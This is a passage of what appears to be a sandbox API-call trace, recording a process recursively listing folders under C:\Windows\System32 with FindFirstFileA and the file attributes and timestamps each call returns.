returned 0x502518 [0150.790] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\001f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a31684, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a31684, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.794] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0021\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a31684, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a31684, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.797] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0024\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a31684, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a31684, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.801] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\002d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a31684, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a31684, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.805] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0404\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a31684, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a31684, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.807] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\040c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a31684, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a31684, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.810] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0416\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a31684, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a31684, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.815] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0804\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a31684, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a31684, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.818] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0816\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a31684, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a31684, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.821] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0c0c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a31684, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a31684, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.830] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\it-IT\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a7d938, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a7d938, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0150.838] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\ja-JP\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a577de, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a577de, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0150.873] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\ko-KR\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2d2b18c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2d2b18c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0150.881] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\LogFiles\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xff0c4cd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7dfc63cd, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7dfc63cd, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0150.882] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\LogFiles\\AIT\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xff0c4cd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x664d58a4, ftLastAccessTime.dwHighDateTime=0x1cb8928, ftLastWriteTime.dwLowDateTime=0x664d58a4, ftLastWriteTime.dwHighDateTime=0x1cb8928, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.889] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\LogFiles\\Fax\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.889] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\LogFiles\\Fax\\Incoming\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.890] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\LogFiles\\Fax\\Outgoing\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.890] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\LogFiles\\Firewall\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xff0c4cd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff0c4cd0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9cb0c45a, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75004f, dwReserved1=0x670074, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.891] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\LogFiles\\Scm\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeffb4c75, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xe402da0, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0xe402da0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.898] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\LogFiles\\SQM\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dfc63cd, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0xb8923e00, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xb8923e00, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.904] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\LogFiles\\Windows Portable Devices\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.905] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\LogFiles\\WMI\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xff0eae2a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa87feba3, ftLastAccessTime.dwHighDateTime=0x1cb892d, ftLastWriteTime.dwLowDateTime=0xa87feba3, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.905] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\LogFiles\\WMI\\RtBackup\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x40000000, ftCreationTime.dwLowDateTime=0x18f908, ftCreationTime.dwHighDateTime=0xffffffff, ftLastAccessTime.dwLowDateTime=0x18f808, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x18fa0c, dwReserved0=0x76c3075a, dwReserved1=0x400, cFileName="", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0150.908] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\LogFiles\\WUDF\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xff110f84, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff110f84, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6b39ddd, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.910] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\lt-LT\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2d512e6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2d512e6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0150.917] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\lv-LV\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3c7dcc2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3c7dcc2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0150.922] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Macromed\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513b5940, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x513b5940, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x513b5940, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0150.923] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Macromed\\Flash\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513b5940, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x11094ef0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x11094ef0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.939] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\manifeststore\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8ca81b50, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8ca81b50, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0150.980] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migration\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0150.987] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migration\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22952f33, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501554, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.991] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migration\\WSMT\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x4e33203f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e33203f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501554, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.992] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migration\\WSMT\\rras\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x4e33203f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e33203f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.992] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migration\\WSMT\\rras\\dlmanifests\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x8d537e63, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8d537e63, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.997] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migration\\WSMT\\rras\\dlmanifests\\Microsoft-Windows-RasServer-MigPlugin\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x8d55dfc4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8d55dfc4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0151.002] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migration\\WSMT\\rras\\replacementmanifests\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x8d773307, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8d773307, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0151.005] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migration\\WSMT\\rras\\replacementmanifests\\Microsoft-Windows-RasApi-MigPlugin\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x8d7e5728, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8d7e5728, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0151.007] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migration\\WSMT\\rras\\replacementmanifests\\Microsoft-Windows-RasServer-MigPlugin\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x8d7bf5c8, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8d7bf5c8, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0151.013] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.018] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8b93fbb0, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8b93fbb0, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154e, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.030] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\BITSExtensions-Server\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.044] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-ActiveDirectory-WebServices-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.047] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-ADFS-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 